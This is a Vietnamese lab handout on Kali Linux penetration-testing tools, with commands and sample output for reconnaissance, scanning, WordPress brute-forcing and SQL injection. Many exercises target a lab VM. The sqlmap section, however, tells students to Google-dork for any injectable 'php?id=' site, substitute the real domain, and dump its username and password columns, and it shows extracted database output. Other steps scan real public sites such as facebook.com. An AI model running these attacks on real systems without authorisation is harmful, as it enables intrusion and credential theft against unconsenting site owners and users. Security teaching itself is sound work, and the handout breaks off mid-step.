|  |  |
| --- | --- |
| Logo  Description automatically generated | THỰC HÀNH CÁC CÔNG CỤ  KIỂM THỬ XÂM NHẬP MẠNG TRÊN KALI LINUX |

Họ và tên Sinh viên:

Mã Sinh viên: Nhóm:

[1. Giới thiệu 2](#_Toc145173947)

[2. Truy xuất từ xa đến hệ thống 2](#_Toc145173948)

[1 Quá trình Information Gathering 2](#_Toc145173949)

[1.1 Công cụ dmitry lấy thông tin Website 2](#_Toc145173950)

[1.2 Công cụ whois thu thập thông tin máy chủ 3](#_Toc145173951)

[1.3 Công cụ theHarvester thu thập thông tin máy chủ 4](#_Toc145173952)

[1.4 Công cụ sslscan liệt kê các bộ mã hóa và chứng chỉ trên máy chủ 4](#_Toc145173953)

[1.5 Công cụ DNSenum thu thập thông tin DNS 4](#_Toc145173954)

[1.6 Các công cụ (nếu có) 5](#_Toc145173955)

[2 Quá trình Scanning 5](#_Toc145173956)

[2.1 Công cụ nmap 5](#_Toc145173957)

[2.2 Công cụ netcat 6](#_Toc145173958)

[3 Quá trình Vulnerability Analysis 6](#_Toc145173959)

[3.1 Công cụ uniscan quét lỗi bảo mật Website 6](#_Toc145173960)

[3.2 Công cụ nikto dò tìm lỗi website 7](#_Toc145173961)

[3.3 Công cụ skipfish 8](#_Toc145173962)

[2.1. Công cụ Amap 9](#_Toc145173963)

[3.4 Công cụ gobuster 9](#_Toc145173964)

[3.5 Công cụ sitadel 11](#_Toc145173965)

[3.6 Công cụ darkjumper 11](#_Toc145173966)

[3.7 Công cụ amap 12](#_Toc145173967)

[3.8 Công cụ WPScan Tool quét các lỗ hổng bảo mật trên WordPress website 12](#_Toc145173968)

[3.9 Công cụ Joomscan quét các lỗ hổng bảo mật trên Joomla Website 13](#_Toc145173969)

[3.10 Các công cụ khác (nếu có) 14](#_Toc145173970)

[4 Quá trình Web application analysis 14](#_Toc145173971)

[4.1 Công cụ sqlmap phân tích lỗ hổng SQL 14](#_Toc145173972)

[4.2 Công cụ sqlmap GUI 17](#_Toc145173973)

[4.3 Công cụ tlssled 17](#_Toc145173974)

[4.4 Công cụ xsser khai thác lỗi XSS 17](#_Toc145173975)

[4.5 Các công cụ khác (nếu có) 18](#_Toc145173976)

[5 Quá trình GUI Web application analysis 18](#_Toc145173977)

[5.1 Công cụ GUI burpsuite 18](#_Toc145173978)

[5.2 Công cụ GUI zap 18](#_Toc145173979)

[5.3 Công cụ GUI BeEF Framework 18](#_Toc145173980)

[5.4 Công cụ GUI openvas 18](#_Toc145173981)

[6 Tổng kết tấn công lổ hổng phát hiện Error! Bookmark not defined.](#_Toc145173982)

[7 Tổng hợp kết quả kiểm thử xâm nhập Error! Bookmark not defined.](#_Toc145173983)

# Giới thiệu

Các tính năng chính của Kali Linux

Kali Linux có nhiều công dụng trong lĩnh vực bảo mật và kiểm tra xâm nhập:

* Đánh giá lỗ hổng bảo mật: Kali Linux cung cấp các công cụ để phát hiện lỗ hổng bảo mật trên hệ thống máy tính, các ứng dụng và các dịch vụ trên mạng.
* Phát hiện xâm nhập: Kali Linux có các công cụ để phát hiện các hoạt động xâm nhập vào hệ thống máy tính và mạng.
* Khai thác lỗ hổng: Kali Linux cung cấp các công cụ để khai thác các lỗ hổng bảo mật trên hệ thống máy tính, các ứng dụng và các dịch vụ trên mạng.
* Quét mạng: Kali Linux cung cấp các công cụ để quét các cổng và dịch vụ trên mạng và phát hiện các máy tính và thiết bị kết nối đến mạng.
* Tấn công từ chối dịch vụ (DoS): Kali Linux cung cấp các công cụ để thực hiện các tấn công từ chối dịch vụ trên mạng.
* Phân tích mã độc: Kali Linux cung cấp các công cụ để phân tích và phát hiện mã độc trên hệ thống máy tính.
* Các công cụ bảo mật: Kali Linux cung cấp các công cụ bảo mật như công cụ mã hóa, quản lý mật khẩu và quản lý truy cập.

*>> Yêu cầu chụp hình ảnh là kết quả thực hành của SV. Không sử dụng lại hình ảnh của bài lab.*

1. Chạy máy ảo VMKaliLinux có địa chỉ 192.168.1.10
2. Chạy máy ảo VMMetasploitableLinux2 có địa chỉ 192.168.1.140

# Truy xuất từ xa đến hệ thống

Cách 1: Từ Windows, gõ lệnh **cmd**. Truy xuất từ xa đến máy chủ VMkaliLinux :

C:\Users\myname> del .ssh

C:\Users\myname> ssh <username>@ wandertour.ddns.net

Cách 2: Truy cập online https://ssheasy.com/

Cách 3: Sử dụng công cụ MobaXterm để truy xuất từ xa qua cổng 22

Cách 4. Tải máy ảo VMKaliLinux2023, khởi động và truy cập giao diện để sử dụng.

# Quá trình Information Gathering

## Công cụ dmitry lấy thông tin Website

DMitry (Deepmagic Information Gathering Tool) có chức năng lookups thông tin domain website, thu thập thông tin của domain phụ, địa chỉ email, thông tin về thời gian hoạt động, quét cổng TCP, tìm kiếm whois, v.v .

Chức năng:

* Thu thập địa chỉ email trên một host.
* Thực hiên quét cổng TCP trên một host.
* Thu thập các subdomain trên một host.
* Thu thập Whois trên một host.
* Lấy các thông tin của một host từ Netcraft.

1)     Dò tìm thông tin một Website:

user@vmkali:~$ dmitry -w 192.168.1.140

user@vmkali:~$ dmitry -p 192.168.1.140

Deepmagic Information Gathering Tool

"There be some deep magic going on"

HostIP:192.168.1.10

HostName:kali

Gathered TCP Port information for 192.168.1.10

---------------------------------

Port State

22/tcp open

80/tcp open

139/tcp open

Portscan Finished: Scanned 150 ports, 146 ports were in state closed

All scans completed, exiting

user@vmkali:~$ dmitry -w www.facebook.com

user@vmkali:~$ dmitry -w www.google.com

user@vmkali:~$ dmitry -winsepo www.abc.com www.abc.com.txt

2)      Xem các thông tin Internet Number bao gồm: địa chỉ IP, số hiệu mạng ASN

user@vmkali:~$ dmitry -i www.google.com

3)     Thu thập các subdomain:

user@vmkali:~$ dmitry -s www.google.com

4)     Để thu thập email của một website

user@vmkali:~$ dmitry -e www.google.com

5)     Quét các cổng TCP  của máy chủ Web

user@vmkali:~$ dmitry -p 192.168.1.10

user@vmkali:~$ dmitry -p 192.168.1.140

//192.168.1.140 là địa chỉ của máy VMMetasploitableLinux2

>> Thử dùng dmitry để thu thập thông tin một số Website khác

## Công cụ whois thu thập thông tin máy chủ

user@vmkali:~$ whois stackoverflow.com

user@vmkali:~$ whois -h whois.crsnic.net "domain google.com"

=> Tool online:

http://whois.domaintools.com/

https://whois.icann.org/en

## Công cụ theHarvester thu thập thông tin máy chủ

* Công cụ theHarvester dựa vào nhiều nguồn tìm kiếm như google, google-profiles, bing, Linkedin hoặc Shodan để thu thập thông tin.
* Thu thập thông tin về một website: địa chỉ email, tên máy chủ và nhiều thông tin liên quan

Thực hành các lệnh sau khi máy có kết nối internet

user@vmkali:~$ theHarvester -d 192.168.1.140 -l 500 -b all

user@vmkali:~$ theHarvester -d www.facebook.com -l 500 -b all

user@vmkali:~$ theHarvester -d www.facebook.com -l 500 -b google

user@vmkali:~$ theHarvester -d dut.udn.vn -l 500 -b google

user@vmkali:~$ theHarvester -d google.com.vn -l 500 -b google

user@vmkali:~$ theHarvester -d microsoft.com -l 500 -b google -f myresults.html

user@vmkali:~$ theHarvester -d microsoft.com -b pgp, virustotal

user@vmkali:~$ theHarvester -d microsoft -l 200 -b linkedin

user@vmkali:~$ theHarvester -d microsoft.com -l 200 -g -b google

user@vmkali:~$ theHarvester -d apple.com -b googleCSE -l 500 -s 300

user@vmkali:~$ theHarvester -d cornell.edu -l 100 -b bing –h

>> Thử dùng theHarvester để thu thập thông tin một số Website mà bạn biết

## Công cụ sslscan liệt kê các bộ mã hóa và chứng chỉ trên máy chủ

user@vmkali:~$ sslscan 192.168.1.10 80

user@vmkali:~$ sslscan 192.168.1.140 80

user@vmkali:~$ sslscan www.facebook.com.vn

user@vmkali:~$ sslscan whitehat.vn

## Công cụ DNSenum thu thập thông tin DNS

DNSenum cho phép ta lấy được rất nhiều thông tin hữu ích của một domain như:

·        Lấy bản ghi địa chỉ IP của domain (bản ghi A).

·        Lấy nameservers (bản ghi NS).

·        Lấy mailserver (bản ghi MX).

·        Thực hiện truy vấn AXFR (all zone transfer) trên các nameservers vừa lấy được.

·        Lấy các subdomain từ google (sử dụng truy vấn “allinurl: -www site:domain”).

·        Thực hiện Brute force các subdomain từ file thư viện cho trước. Ngoài ra, cũng có thể brute force subdomains mà không cần file thư viện bằng công cụ dnsmap.

·        Tính toán các địa chỉ IP và thực hiện truy vấn whois trên các dải IP này.

·        Ghi lại file domain\_ips.txt

Xem những thông tin bản ghi DNS cơ bản và xuất file xml:

user@vmkali:~# dnsenum thekalitools.com --noreverse -o thakalitools.xml

## Các công cụ khác (nếu có)

Người dùng khai thác thêm và liệt kê kết quả.

# Quá trình Scanning

## Công cụ nmap

Find the software version used on port 22:

user@vmkali:~$ sudo nmap -sV 192.168.1.140 -p 22

user@vmkali:~$ sudo nmap -sU 192.168.1.140 -p 80,22

2)     Find the operating system used on the target machine:

user@vmkali:~$ sudo nmap -O 192.168.1.140

user@vmkali:~$ sudo nmap -Pn -sT -vv -n -pl -1000 -T4 192.168.1.140

3)     Aggressive scanning:

user@vmkali:~$ sudo nmap -A 192.168.1.140

4)     Utilize the default script categories:

user@vmkali:~$ sudo nmap -sC 192.168.1.140

5)     Collect information about the HTTP server:

user@vmkali:~$ sudo nmap --script http-enum,http-headers,http-methods,http-php-version -p 80 192.168.1.140

## Công cụ netcat

Người dùng khai thác thêm và liệt kê kết quả.

# Quá trình Vulnerability Analysis

## Công cụ uniscan quét lỗi bảo mật Website

Uniscan có thể quét được các lỗi thường gặp của một website như LFI, RFI, SQL Injection, XSS ... Uniscan được viết bằng Perl.

1)     Quét lỗi của một website:

user@vmkali:~$ sudo uniscan -u http://192.168.1.140/mutillidae/ -qweds

We trust you have received the usual lecture from the local System

Administrator. It usually boils down to these three things:

#1) Respect the privacy of others.

#2) Think before you type.

#3) With great power comes great responsibility.

[sudo] password for user01:

####################################

# Uniscan project #

# http://uniscan.sourceforge.net/ #

####################################

V. 6.3

Scan date: 25-1-2021 20:45:18

===================================================================================================

| Domain: http://192.168.1.10/mutillidae/

| Server: Apache/2.4.41 (Debian)

| IP: 192.168.1.10

===================================================================================================

|

| Directory check:

| [+] CODE: 200 URL: http://192.168.1.10/mutillidae/ajax/

| [+] CODE: 200 URL: http://192.168.1.10/mutillidae/classes/

| [+] CODE: 200 URL: http://192.168.1.10/mutillidae/data/

| [+] CODE: 200 URL: http://192.168.1.10/mutillidae/images/

| [+] CODE: 200 URL: http://192.168.1.10/mutillidae/includes/

| [+] CODE: 200 URL: http://192.168.1.10/mutillidae/javascript/

| [+] CODE: 200 URL: http://192.168.1.10/mutillidae/phpmyadmin/

| [+] CODE: 200 URL: http://192.168.1.10/mutillidae/styles/

…

|

| Crawler Started:

| Plugin name: Web Backdoor Disclosure v.1.1 Loaded.

| Plugin name: FCKeditor upload test v.1 Loaded.

| Plugin name: Upload Form Detect v.1.1 Loaded.

| Plugin name: phpinfo() Disclosure v.1 Loaded.

| Plugin name: External Host Detect v.1.2 Loaded.

| Plugin name: Code Disclosure v.1.1 Loaded.

| Plugin name: E-mail Detection v.1.1 Loaded.

| Plugin name: Timthumb <= 1.32 vulnerability v.1 Loaded.

^C[\*] Crawling: [247 - 316]

…

user@vmkali:~$ sudo uniscan -u https//192.168.1.140 -qweds

user@vmkali:~$ sudo uniscan -u http://192.168.1.140/mutillidae -qweds

>> Thay thế www.abc.com bằng một tên của Website trên Internet

2)     Để quét nhiều website cùng một lúc:

user@vmkali:~$ sudo uniscan -f websites.txt -bqweds

wesites.txt là một file chứa danh sách các website cần quét.

3)     Chức năng tìm kiếm dork với Google

user@vmkali:~$sudo uniscan -o 'inurl:"index.php?id="'

## Công cụ nikto dò tìm lỗi website

Nikto là công cụ dùng kiểm tra các lỗ hổng bảo mật của Web Server như: các cấu hình phía dịch vụ máy chủ hoặc phần mềm sai sót, các chương trình hay file mặc định được tìm thấy, các chương trình hay file không an toàn được tìm thấy, những lỗ hổng cơ bản ở ứng dụng web,..

1)     Xem thông tin về nikto.pl

user@vmkali:~$ nikto -h

2)     Kiểm tra nhanh lỗi web server

*//192.168.1.140 là địa chỉ của máy VMMetasploitableLinux2*

user@vmkali:~$ nikto -host http://192.168.1.140/mutillidae

- Nikto v2.1.6

---------------------------------------------------------------------------

+ Target IP: 192.168.1.10

+ Target Hostname: 192.168.1.10

+ Target Port: 80

+ Start Time: 2021-01-25 20:49:05 (GMT-5)

---------------------------------------------------------------------------

+ Server: Apache/2.4.41 (Debian)

+ The anti-clickjacking X-Frame-Options header is not present.

+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS

+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type

+ No CGI Directories found (use '-C all' to force check all possible dirs)

+ Server may leak inodes via ETags, header found with file /, inode: 29cd, size: 580a7a1fa9140, mtime: gzip

+ Allowed HTTP Methods: POST, OPTIONS, HEAD, GET

+ OSVDB-561: /server-status: This reveals Apache information. Comment out appropriate line in the Apache conf file or restrict access to allowed sources.

+ 7916 requests: 0 error(s) and 6 item(s) reported on remote host

+ End Time: 2021-01-25 20:50:09 (GMT-5) (64 seconds)

---------------------------------------------------------------------------

+ 1 host(s) tested

user@vmkali:~$ nikto -h http://192.168.1.140

user@vmkali:~$ nikto -h http://192.168.1.140 -o webtest -F htm

user@vmkali:~$ nikto -h http://192.168.1.140 -p 80 -T 3478b -t 3 -D \ V -o webtest -F htm

user@vmkali:~$ nikto -h webscantest.com

user@vmkali:~$ nikto -h webscantest.com -p 80 -T 3478b -t 3 -D \ V -o webtest -F htm

user@vmkali:~$ nikto -h facebook.com

Trong kết quả xuất ra chứa các thông tin cơ bản, cần chú ý đến thông tin về lỗi “OSVDB- <serial>“. Đây chính là thông tin về lỗi bảo mật mà nikto khai thác và phát hiện được.

Tham khảo lỗi tại: http://osvdb.org/<serial>

3)     Dò tìm lỗi theo port

user@vmkali:~$ nikto -host http://192.168.1.140/mutillidae/

- Nikto v2.1.6

---------------------------------------------------------------------------

+ Target IP: 192.168.1.10

+ Target Hostname: 192.168.1.10

+ Target Port: 80

+ Start Time: 2021-01-25 20:56:45 (GMT-5)

….

//Thay *www.abc.co*m bằng tên một Website đang hoạt động trên internet

user@vmkali:~$ nikto -host https://www.abc.com -port 8080

user@vmkali:~$ nikto -host https://www.abc.com:8080

4)     Dò tìm lỗi chạy thông qua Proxy

user@vmkali:~$ nikto -host https://www.abc.com -useproxy http://localhost:8080/

5)     Cập nhật cơ sở dữ liệu cho nikto

user@vmkali:~$ nikto -update

## Công cụ skipfish

Skipfish là một công cụ phân tích bảo mật ứng dụng web, thu thập thông tin đệ quy và các đầu dò dựa trên từ điển để tạo sơ đồ trang web tương tác cho trang web đã chọn. Sau đó, bản đồ kết quả được chú thích với kết quả của một số kiểm tra bảo mật đang hoạt động, dùng để đánh giá bảo mật ứng dụng web.

Web Application Security Scanner for XSS, SQL Injection, Shell injection

Step1: To get all the parameters of type skipfish -h

user@vmkali:~$ skipfish -h

Step2: To scan the target and to write the output in the directory.

user@vmkali:~$

For scanning Wildcard domains

user@vmkali:~$ skipfish -D .192.168.169.130 -o output-dir1 http://192.168.1.140/

user@vmkali:~$ skipfish -o 202 http://192.168.1.140

user@vmkali:~$ skipfish -o 202 http://192.168.1.140/mutillidae

user@vmkali:~$ skipfish -o skipfish-log http://www.example.com

* Thực hành sử dụng công cụ để quét một số website khác.

## Công cụ Amap

  Amap is a tool that can be used to check the application running on a specific port:

user@vmkali:~$ amap -bq 192.168.1.140 22 80 143

amap v5.4 (www.thc.org/thc-amap) started at 2021-01-25 21:19:20 - APPLICATION MAPPING mode

Protocol on 192.168.1.10:22/tcp matches ssh - banner: SSH-2.0-OpenSSH\_7.9p1 Debian-10\r\nProtocol mismatch.\n

Protocol on 192.168.1.10:22/tcp matches ssh-openssh - banner: SSH-2.0-OpenSSH\_7.9p1 Debian-10\r\nProtocol mismatch.\n

Protocol on 192.168.1.10:80/tcp matches http - banner: HTTP/1.1 200 OK\r\nDate Tue, 26 Jan 2021 021920 GMT\r\nServer Apache/2.4.41 (Debian)\r\nLast-Modified Wed, 30 Jan 2019 071229 GMT\r\nETag "29cd-580a7a1fa9140"\r\nAccept-Ranges bytes\r\nContent-Length 10701\r\nVary Accept-Encoding\r\nConnection close\r\nC

Protocol on 192.168.1.10:80/tcp matches http-apache-2 - banner: HTTP/1.1 200 OK\r\nDate Tue, 26 Jan 2021 021920 GMT\r\nServer Apache/2.4.41 (Debian)\r\nLast-Modified Wed, 30 Jan 2019 071229 GMT\r\nETag "29cd-580a7a1fa9140"\r\nAccept-Ranges bytes\r\nContent-Length 10701\r\nVary Accept-Encoding\r\nConnection close\r\nC

amap v5.4 finished at 2021-01-25 21:19:27

user@vmkali:~$ amap -bq 192.168.1.140 22 80 143

## Công cụ gobuster

Gobuster là một công cụ được sử dụng để brute force URLs trên các trang web và DNS subdomains. Dùng cho quá trình Web reconnaissance.

Gobuster cung cấp 3 mode option chính gồm: DIR, DNS và vHOST.

Ta sẽ tìm hiểu về các options chính, thường dùng và hữu ích.

1) Dir mode: Dò quét các URLs của website theo wordlist

Xem các tùy chọn:

gobuster dir -h

dir: mode được chọn

-u: địa chỉ URL

-w: địa chỉ file wordlist trong máy chúng ta

-l: In ra length body của response nhận được

-t: số threads được sử dụng, mặc định là 10

-e: dùng để in kết quả theo dạng toàn bộ URL

-x: thêm phần đuôi mở rộng để brute force, chẳng hạn -x php: tự thêm .php vào sau các request URL

-o: in kết quả ra file để tiện dùng sau này, mặc định sẽ in ra /home/ do chúng ta gọi gobuster ngay tại /home/

-U: username cho website có Basic Authen

-P: password cho website có Basic Authen

-c: gán cookie cho các request

-s: gán các HTTP status code được chấp nhận, mặc định là 200,204,301,302,307,401,403

-r: follow redirects

user@vmkali:~$ gobuster dir --url http://demo.testfire.net/ -w /home/public/gobuster-dirlist.txt

Với các máy tính với cấu hình mạnh, ta có thể nâng số threads mặc định thừ 10 lên 70:

user@vmkali:~$ gobuster dir --url http://demo.testfire.net/ -w /home/public/gobuster-dirlist.txt -t 70

user@vmkali:~$ gobuster dir -u 10.10.10.157 -w /home/public/gobuster-dirlist.txt -l -t 30 -e -x php -o 10.10.10.157.result.txt

10.10.10.157 là địa chỉ 1 machine

/home/public/gobuster-dirlist.txt là file wordlist

NOTE: Tham khảo https://github.com/danielmiessler/SecLists/tree/master/Passwords/Common-Credentials

2) DNS mode: Dò quét DNS subdomains của website

Xem các tùy chọn:

user@vmkali:~$ gobuster dns -h

Trong đó:

-d: chỉ domain name, sẽ không có http:// hay https://

-w: địa chỉ file wordlist trong máy chúng ta

-t: số threads được sử dụng, mặc định là 10

-i: hiển thị địa chỉ IP của target

-o: in kết quả ra file .txt

user@vmkali:~$ gobuster dns -d facebook.com -w /home/public/gobuster-dirlist.txt -t 30 -i -o dnsrecon.txt

Kết quả, phân tích được bao nhiêu địa chỉ trong số này? :

3) vHost mode: Dò quét vHost của website

Xem các tùy chọn:

user@vmkali:~$ gobuster vhost -h

user@vmkali:~$ gobuster vhost -u https://mysite.com -w /home/public/gobuster-dirlist.txt

## Công cụ sitadel

user@vmkali:~$ python3 /tools/Sitadel/sitadel.py -h

user@vmkali:~$ python3 /tools/Sitadel/sitadel.py http://192.168.1.140/mutillidae

user@vmkali:~$ python3 /tools/Sitadel/sitadel.py https://javatpoint.com

## Công cụ darkjumper

Darkjumper thực hiện tìm từng trang web cùng lưu trữ tại một máy chủ chung. Sau đó sẽ kiểm tra lỗi bảo mật của từng trang web trên máy chủ.

Chức năng:

•     Quét các lỗi như SQL Injection, Remote File Inclusion, Local File Inclusion.

•     Định danh các user trên server.

•     Hỗ trợ proxy khi quét.

•     Quét cổng trên máy chủ.

1)     Để reverse ip của một trang:

user@vmkali:~$ /usr/darkjumper.v5.7/darkjumper.py -t -m

user@vmkali:~$ /usr/darkjumper.v5.7/darkjumper.py -t 192.168.1.10 -m full

user@vmkali:~$ /usr/darkjumper.v5.7/darkjumper.py -t 192.168.1.10 -m reverseonly

user@vmkali:~$ /usr/darkjumper.v5.7/darkjumper.py -t 192.168.1.140 -m full

user@vmkali:~$ /usr/darkjumper.v5.7/darkjumper.py -t 192.168.1.140 -m reverseonly

user@vmkali:~$ /usr/darkjumper.v5.7/darkjumper.py -t webscantest.com -m full

user@vmkali:/darkjumper.v5.7$ sudo ./darkjumper.py -t www.abc.com -m reverseonly

2)     Lấy các thông tin header của một Website

user@vmkali:~$ /usr/darkjumper.v5.7/darkjumper.py -t 192.168.1.140 -m headerinfo

3)      Để xem các dịch vụ đang chạy trên máy chủ:

user@vmkali:~$ /usr/darkjumper.v5.7/darkjumper.py -t 192.168.1.10 -m daemoninfo

Darkjumper.py version 5.7

Developed by : mywisdom & gunslinger\_

Date version release : Wednesday, 24 Feb 2010 $ 9:13 PM

Dedicated to darkc0de.com, devilzc0de.org,jatimcrew.org,flash-crew.com, jasakom.com, h4cky0u.org and 0c0de.com

[+] Target hostname : 192.168.1.10

[+] Target IP : 192.168.1.10

[+] Use proxy : None

[+] Verbocity : False

[+] Time Starting : 21:02:08

[+] Try to getting daemon info...

[+] Please wait...

----------------------------------------

[+] Daemon informations from common ports: 21,22,23,25,80,110 and 3306:

[+] Daemon response (info) from port 22 (ssh Daemon):

SSH-2.0-OpenSSH\_7.9p1 Debian-10

4)      Để có thể định danh các người dùng (user) trên máy chủ:

user@vmkali:~$ /usr/darkjumper.v5.7/darkjumper.py -t 192.168.1.140 -m enum

5)      Để kiểm tra xem máy chủ FTP có cho phép người dùng nặc danh truy cập hay không:

user@vmkali:~$ /usr/darkjumper.v5.7/darkjumper.py -t 192.168.1.10 -m anon

## Công cụ amap

## Công cụ WPScan Tool quét các lỗ hổng bảo mật trên WordPress website

WPScan được viết trên ngôn ngữ Ruby. WPScan thường được các chuyên gia bảo mật và các quản trị viên của WordPress sử dụng để kiểm tra các lỗi bảo mật.

Tính năng của WPScan:

•     Thu thập các tên đăng nhập trên WordPress.

•     Bruteforce các mật khẩu trên WordPress.

•     Kiểm tra phiên bản của WordPress.

•     Kiểm tra plugin của WordPress.

•     Quét các lỗi bảo mật trên WordPress.

1)     Quét những thông tin cơ bản trên Wordpress (-u): các đường dẫn thư mục trên máy chủ web, thu thập thông tin phiên bản Wordpress, lấy các thông tin HTTP Response như tên máy chủ

user@vmkali:~$ wpscan –u optinmonster.com

2)     Quét các giao diện trên WordPress (--enumerate -t)

user@vmkali:~$ wpscan --enumerate -t optinmonster.com

3)     Quét các giao diện có lỗ hổng bảo mật trên WordPress (--enumerate -vt)

user@vmkali:~$ wpscan --enumerate -vt optinmonster.com

Nếu WPScan tìm được lỗ hổng trong giao diện WordPress thì xuất hiện dấu chấm than màu đỏ trong kết quả dòng lệnh được xuất ra.

4)     Quét các plugin trên WordPress ( --enumerate -p)

user@vmkali:~$ wpscan --enumerate -p optinmonster.com

5)     Quét các plugin trên WordPress có những lỗ hổng bảo mật như SQL Injection, XSS,... ( --enumerate -vp)

user@vmkali:~$ wpscan --enumerate -vp optinmonster.com

Nếu WPScan tìm được lỗ hổng trong giao diện WordPress thì xuất hiện dấu chấm than màu đỏ trong kết quả dòng lệnh được xuất ra.

6)     Thu thập được các tên đăng nhập WordPress (--enumerate u)

user@vmkali:~$ wpscan --enumerate -u  optinmonster.com

7)     Dò tìm mật khẩu

* Sau khi đã định danh được tên đăng nhập thì hacker có thể đoán mật khẩu thông qua cuộc tấn công brute force.
* Tạo một file văn bản có chứa các chữ thường dùng để đặt mật khẩu, mỗi dòng là một mật khẩu có tên passwords.txt

user@vmkali:~$ wpscan -u 192.168.1.140 --wordlist passwords.txt threads 50

## Công cụ Joomscan quét các lỗ hổng bảo mật trên Joomla Website

Joomscan là một công cụ dùng để tìm lỗ hổng bảo mật trên hệ thống quản trị nội dung (CMS) Joomla và được các nhà phát triển (developer) web sử dụng để tìm lỗ hổng bảo mật trên website như SQL Injection, XSS và CSRF.

1)     Quét lỗ hổng bảo mật của Website Joomla

user@vmkali:~$ joomscan –u websitejoomla.com

Nếu phát hiện được lỗ hổng nào thì ngay tại Vulnerable sẽ là Yes, ngược lại sẽ là No

2)     Sử dụng proxy khi quét:

user@vmkali:~$ joomscan -u websitejoomla.com -x địa\_chỉ\_proxy:cổng

## Các công cụ khác (nếu có)

# Quá trình Web application analysis

## Công cụ sqlmap phân tích lỗ hổng SQL

user@vmkali:/# cd /sqlmap/

user@vmkali:/sqlmap# python ./sqlmap.py --update

1)     Liệt kê danh sách các database

user@vmkali:~$ python /sqlmap/sqlmap.py -u http://192.168.1.140/mod/resource/view.php?id=1407 --dbs

\_\_\_

\_\_H\_\_

\_\_\_ \_\_\_[']\_\_\_\_\_ \_\_\_ \_\_\_ {1.4.3.11#dev}

|\_ -| . ['] | .'| . |

|\_\_\_|\_ [.]\_|\_|\_|\_\_,| \_|

|\_|V... |\_| http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[\*] starting @ 21:16:13 /2021-01-25/

[21:16:19] [INFO] testing connection to the target URL

got a refresh intent (redirect like response common to login pages) to 'http://192.168.1.140/login/index.php'. Do you want to apply it from now on? [Y/n] Y

….

2)     Tìm 1 trang lỗi SQL Injection bất kì trên Google bằng cách tìm kiếm với từ khóa inurl php?id=

Ví dụ có kết quả dạng: http://www.abc.com/product.php?id=200 Thay abc bằng tên thật

3)     Kiểm tra lỗi SQL Injection

http://www.abc.com/product.php?id=200’

4)     Liệt kê danh sách các database

user@vmkali:~$ python /sqlmap/sqlmap.py -u http://www.abc.com/index.php?id=320 --dbs

Có thể bỏ qua database information\_schema.

5)     Lấy thông tin các bảng trong Database:

user@vmkali:~$ python /sqlmap/sqlmap.py -u http://www.abc.vn/index.php?id=320 -D *tên\_database* –tables

6)     Chọn 1 tables cần trích xuất thông tin. Lấy thông tin các cột trong đó

user@vmkali:~$ python /sqlmap/sqlmap.py -u http://www.abc.vn/index.php?id=320 -D *tên\_database* -T *tên\_bảng* –columns

7)     Lấy dữ liệu cột username

user@vmkali:~$ python /sqlmap/sqlmap.py -u http://www.abc.vn/index.php?id=320 -D *tên\_database* -T *tên\_bảng* -C username –dump

8)     Lấy dữ liệu cột Password:

user@vmkali:~$ python /sqlmap/sqlmap.py -u http://www.abc.vn/index.php?id=320 -D *tên\_database* -T *tên\_bảng* -C password --dump

9) Quá trình tấn công SQL Injection một Website

a.      Tìm kiếm database đang được sử dụng: Thay www.abc.com bằng website cụ thể

user@vmkali:~$ python /sqlmap/sqlmap.py -u http://www.abc.com/constructionDetail.php?id=334 –dbs

[17:43:15] [INFO] the back-end DBMS is MySQL

web server operating system: Windows

web application technology: PHP 5.2.6, Apache 2.2.8

back-end DBMS: MySQL >= 5.0.12

[17:43:15] [INFO] fetching database names

[17:43:15] [INFO] used SQL query returns 5 entries

[17:43:15] [INFO] retrieved: 'information\_schema'

[17:43:15] [INFO] retrieved: 'toto'

[17:43:15] [INFO] retrieved: 'mysql'

[17:43:15] [INFO] retrieved: 'phpmyadmin'

[17:43:16] [INFO] retrieved: 'test'

available databases [5]:

[\*] information\_schema

[\*] toto

[\*] mysql

[\*] phpmyadmin

[\*] test

Ta có được database của trang web là **toto**

b.      Lập danh sách các table trong database

user@vmkali:~$ python /sqlmap/sqlmap.py -u http://www.abc.com/constructionDetail.php?id=334 -D toto --tables

[17:43:32] [INFO] fetching tables for database: 'toto'

[17:43:33] [WARNING] reflective value(s) found and filtering out

[17:43:33] [WARNING] frames detected containing attacked parameter values. Please be sure to test those separately in case that attack on this page fails

[17:43:33] [INFO] used SQL query returns 23 entries

[17:43:34] [INFO] retrieved: 'aboutus'

[17:43:34] [INFO] retrieved: 'account'

[17:43:34] [INFO] retrieved: 'account\_ext'

[17:43:35] [INFO] retrieved: 'accpriv'

[17:43:35] [INFO] retrieved: 'codong'

[17:43:36] [INFO] retrieved: 'construction'

[17:43:36] [INFO] retrieved: 'contactus'

[17:43:37] [INFO] retrieved: 'counter'

[17:43:37] [INFO] retrieved: 'document'

[17:43:37] [INFO] retrieved: 'forum\_sessions'

[17:43:38] [INFO] retrieved: 'group\_module'

[17:43:38] [INFO] retrieved: 'groups'

[17:43:38] [INFO] retrieved: 'info'

[17:43:38] [INFO] retrieved: 'linhvuc'

[17:43:38] [INFO] retrieved: 'news'

[17:43:39] [INFO] retrieved: 'partner'

[17:43:39] [INFO] retrieved: 'product'

[17:43:39] [INFO] retrieved: 'property'

[17:43:39] [INFO] retrieved: 'slide'

[17:43:39] [INFO] retrieved: 'subsystem'

[17:43:39] [INFO] retrieved: 'support\_setting\_config'

[17:43:40] [INFO] retrieved: 'support\_setting\_config\_group'

[17:43:40] [INFO] retrieved: 'tuyendung'

Database: toto

[23 tables]

+------------------------------+

| aboutus                      |

| account                      |

| account\_ext                  |

| accpriv                      |

| codong                       |

| construction                 |

| contactus                    |

| counter                      |

| document                     |

| forum\_sessions               |

| group\_module                 |

| groups                       |

| info                         |

| linhvuc                      |

| news                         |

| partner                      |

| product                      |

| property                     |

| slide                        |

| subsystem                    |

| support\_setting\_config       |

| support\_setting\_config\_group |

| tuyendung                    |

+------------------------------+

Ta có được list các bảng  của database này. Ta thấy bảng account là 1 bảng chứa những thông tin quan trọng nên ta sẽ tập trung khai thác bảng này.

 c.      Lấy ra các column trong bảng **account**

user@vmkali:~$ python /sqlmap/sqlmap.py -u http://www.abc.com/constructionDetail.php?id=334 -D toto -T account --columns

Đây là danh sách các column trong bảng này. Ta thấy có 2 column quan trọng là username và user\_password ở đây nên hãy thử tấn công để tìm ra 2 thông tin này

d.      Cho ra danh sách username và password

